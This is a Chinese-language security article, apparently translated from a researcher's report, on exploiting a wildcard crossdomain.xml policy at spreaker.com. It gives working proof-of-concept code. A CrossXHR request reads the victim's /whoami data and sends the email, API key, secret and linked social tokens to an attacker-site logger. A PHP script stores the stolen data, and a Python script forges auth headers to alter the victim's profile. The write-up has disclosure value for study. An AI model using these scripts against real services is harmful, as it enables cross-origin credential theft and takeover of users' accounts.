引入:这一切始于*

crossdomain.xml文件指定访问的域名读/写请求,应该将该文件限制在可信网站之内,然而在spreaker网站上却并非如此。通配符表明了允许任何站点向文件发送请求/读取响应,spreaker.com/crossdomain.xml的响应如下:

<cross-domain-policy><allow-access-from domain="*"/></cross-domain-policy>

考虑到这点,我们就尝试着进行利用吧!

利用

“错误配置”的影响真的取决于应用本身!在应用中找到一个包含敏感信息的页面,比如一个web应用中允许用户发送/收取电子邮件(like Yahoo,gmail..)阅读他的电子邮件就是一个敏感行为。又比如在web应用中包含了个人主页页面,就算我们什么都不做也可以得知用户的用户名,邮箱等信息…..

1)寻找敏感页面

这个API:api.spreaker.com/crossdomain.xml也存在漏洞,所以我同时还看了下developers.spreaker.com,这里有发现了:

使用Spreaker API的API Key和Secret允许你不经身份验证便能够轻松读取公共信息。例如api.spreaker.com/show/9就返回与"The bit a bit show"相关的公共信息。如果需要获取隐私信息,或者创建修改数据你需要进行身份验证。
为了进行身份验证,你需要获取你的API Key和Secret:
打开api.spreaker.com/whoami,读取API key和secret(他们永远不会改变)

这就是福音啊,api.spreaker.com/whoami链接包含了已登录用户的所有敏感信息:

userid , fullname , fbuserid , email , **apikey** , api secret , twauthtoken ,twauthtoken_secret , fbauthtoken , ...

同样这些信息也可以从www.spreaker.com/account/profile获取,这实在不能再好咯!

2)编写PoC检索/保存敏感页面

你可以通过编码一个Flash文件(脚本语言)向api.spreaker.com/whoami请求,并将页面内容发送到日志记录。由于我不太擅长使用flash编写程序,我就使用了现成的CrossXHR。

所以首先我们得获得需要页面的请求:

function test_get() { 
request = new CrossXHR(); 
request.onreadystatechange = callback; 
request.open('GET', 'http://api.spreaker.com/whoami'); 
request.send();  
}

接着处理响应,在这个案例中我将它发送到日志记录,然后解析并保存敏感信息:

data = request.responseText; //contain the content of the /whoami httpGet("/poc/logger.php?data="+data); //send it to logger alert("done"); //just for demo

Logger.php:接收json数据并解析存储

//receive contetnt via data param , then parse it  

$data=$_GET['data'];     
$obj = json_decode($data); 
$email = $obj->{'response'}->{'user'}->{'email'}; 
$apikey =  $obj->{'response'}->{'user'}->{'api_key'}->{'key'}; 
$apisecret =  $obj->{'response'}->{'user'}->{'api_key'}->{'secret'};
 ... 
 
 $html = '<table>'; 
 $html.= '<tr>'; 
 $html.= '<td>User Id </td>'; 
 $html.= '<td>Fullname </td>'; 
 $html.= '<td>email  </td>'; 
 ... 
 
 $html.= $email; 
 $html.='</td>'; 
 $html.='<td>'; 
 $html.= $apikey; 
 $html.='</td>'; 
 $html.='<td>'; 
 $html.= $apisecret;
  ... 
  $file=fopen('data.html','a');  
  fwrite($file,"<br><br> \n"); 
  fwrite($file,$html."\n\n\n"); 
  fwrite($file,"<br><br> \n"); 
  fclose($file); 
  
  ....

PoC已经饥渴难耐了,我们之前所做的都是为了目标访问攻击者站点attacker.com并将用户的敏感信息记录在一个十分性感的html页面中。

影响

现在我们有了API/secret,能够做什么developers.spreaker.com上面已经说的十分明白了。

如果用户的账号还链接了其他一些社交媒体帐号(twitter , fb , g+ ),我们还可以获取其auth_token / auth secret!特别是开发文档中的那一句“API key和secret永不改变”越想越是霸气!你不能改变API key和secret即使你的账户被盗用!另外提一句只是改变的密码和邮箱然并卵!唯一留给用户只有删除账号了。

接下来我们该做的便是生成身份验证摘要,通过X-Spreaker-Auth HTTP header进行发送,然后我们允许用户代表发送身份验证请求:

import random 
import time 
import hashlib,sys,requests,json 
user_id = sys.argv[1] 
api_key    = sys.argv[2] 
api_secret = sys.argv[3] 

# Generate a nonce and get the current timestamp (from epoch) 
nonce      = random.randint(0, 99999999) 
timestamp  = int(time.time()) 

# Generate the hash 
md5        = hashlib.md5() 
md5.update("%s:%s:%s:%s" % (nonce, api_key, api_secret, timestamp)) 

# Generate the digest 
digest     = "%s:%s:%s:%s" % (nonce, api_key, timestamp, md5.hexdigest()) 
print 'X-Spreaker-Auth: %s'%(digest) 
url = "http://api.spreaker.com/user/"+str(user_id) 
payload = {'description': 'Hacked'} 
headers = {'X-Spreaker-Auth': digest} 
r = requests.put(url, params=payload, headers=headers) 
print 'response code: ' + str(r.status_code)

运行

#Python poc.py userid api_key api_secret

访问我们新的个人页面:

演示视频


参考文献

CrossXhr

Spreaker security page

Yahoo's pet show of horrors

seizing control of yahoo mail cross origin again

* 参考来源:aajalal,编译/ 鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

源链接

Hacking more

...